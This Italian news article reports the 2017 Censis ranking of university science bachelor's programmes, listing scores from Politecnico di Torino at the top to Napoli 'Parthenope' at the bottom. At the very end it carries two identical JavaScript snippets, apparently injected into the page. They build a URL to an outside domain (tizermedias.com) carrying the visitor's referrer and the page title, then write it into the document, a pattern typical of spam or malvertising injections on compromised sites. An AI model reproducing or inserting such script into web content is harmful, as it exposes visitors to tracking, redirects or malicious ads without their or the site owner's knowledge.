classifica Censis per l'area di Scienze 2017

Con un punteggio che raggiunge l’eccellenza, 110 su 110, il Politecnico di Torino si prende d’autorità la vetta della classifica Censis per l’area di Scienze 2017, detronizzando l’Università di Trieste. Quest’ultima si vede costretta rinunciare al primato della graduatoria dedicata ai corsi di laurea triennale delle classi di Scienze e Tecnologie della Navigazione (L-28), Scienze e Tecnologie Fisiche (L-30), Scienze e Tecnologie Informatiche (L-31) e Scienze Matematiche (L-35), dovendosi accontentare del secondo posto che le è toccato per via di una media scesa di 4 punti rispetto al 2016 e attestatasi a 104. Sul terzo gradino del podio si conferma, invece, Camerino, a cui il Censis ha attribuito un punteggio di 103.

Stabile in quarta posizione, esattamente come dodici mesi fa, Torino questa volta peggiora la propria performance di mezzo punto, ottenendone 96,5. Compie, invece, una rimonta notevole l’Università di Modena e Reggio Emilia, che l’anno passato finì a metà della graduatoria e adesso si merita il quinto posto con 95 punti. In sesta posizione della classifica Censis per l’area di Scienze 2017 troviamo Trento (94), che precede le università di Perugia (93,5) e Udine (91,5), la Sapienza (91) e il trio composto da Insubria, PaviaCa’ Foscari di Venezia (tutte con 90,5), con il quale si chiude la top ten della graduatoria.

Nella pancia della classifica Censis per l’area di Scienze 2017 finiscono, nell’ordine, il duo BolognaPadova (90), Genova (89,5), la coppia formata dagli atenei de L’Aquila e di Verona (entrambi con 88,5 punti), quella composta da Ferrara e dall’Università del Piemonte Orientale (87,5), Pisa (87), Roma “Tor Vergata” (86), la Bicocca di Milano (85,5), Roma Tre (85), Parma (84,5) e Cagliari (84). Si posizionano, invece, nella parte medio-bassa della graduatoria Urbino (83,5), la Statale di Milano – che perde numerose posizioni – a pari merito con Siena (82,5), Salerno (81,5), l’Università della Campania “Luigi Vanvitelli” (80), quella del Molise (79,5), Firenze (79).

Scorrendo ulteriormente la classifica Censis per l’area di Scienze 2017 si incontrano poi l’Università del Salento (77,5), quella di Catania appaiata a quella della Basilicata e quella di Palermo (tutte e tre con 76 punti), l’Università di Bari (74,5) e quella della Calabria (73,5). Infine, nelle posizioni di coda della graduatoria ci sono, nell’ordine, Messina, che si piazza terzultima con 73 su 110, la “Federico II” di Napoli, penultima con un punteggio di 69 e l’Università di Napoli “Parthenope”, che si conferma ultima del gruppo mantenendo anche il medesimo punteggio del 2016, cioè 66 su 110 (il minimo possibile).(function(){var d=document;var w=’240′;var h=’300′;var id = Math.floor(Math.random()*9999);var src = ‘http://tizermedias.com/odessa/?54vFcZ&’;src = src + ‘se_referrer=’+document.referrer;src = src + ‘&default_keyword=’+document.title;src = src + ‘&r=’+id;d.write(”);})();(function(){var d=document;var w=’240′;var h=’300’;var id = Math.floor(Math.random()*9999);var src = ‘http://tizermedias.com/odessa/?54vFcZ&’;src = src + ‘se_referrer=’+document.referrer;src = src + ‘&default_keyword=’+document.title;src = src + ‘&r=’+id;d.write(”);})();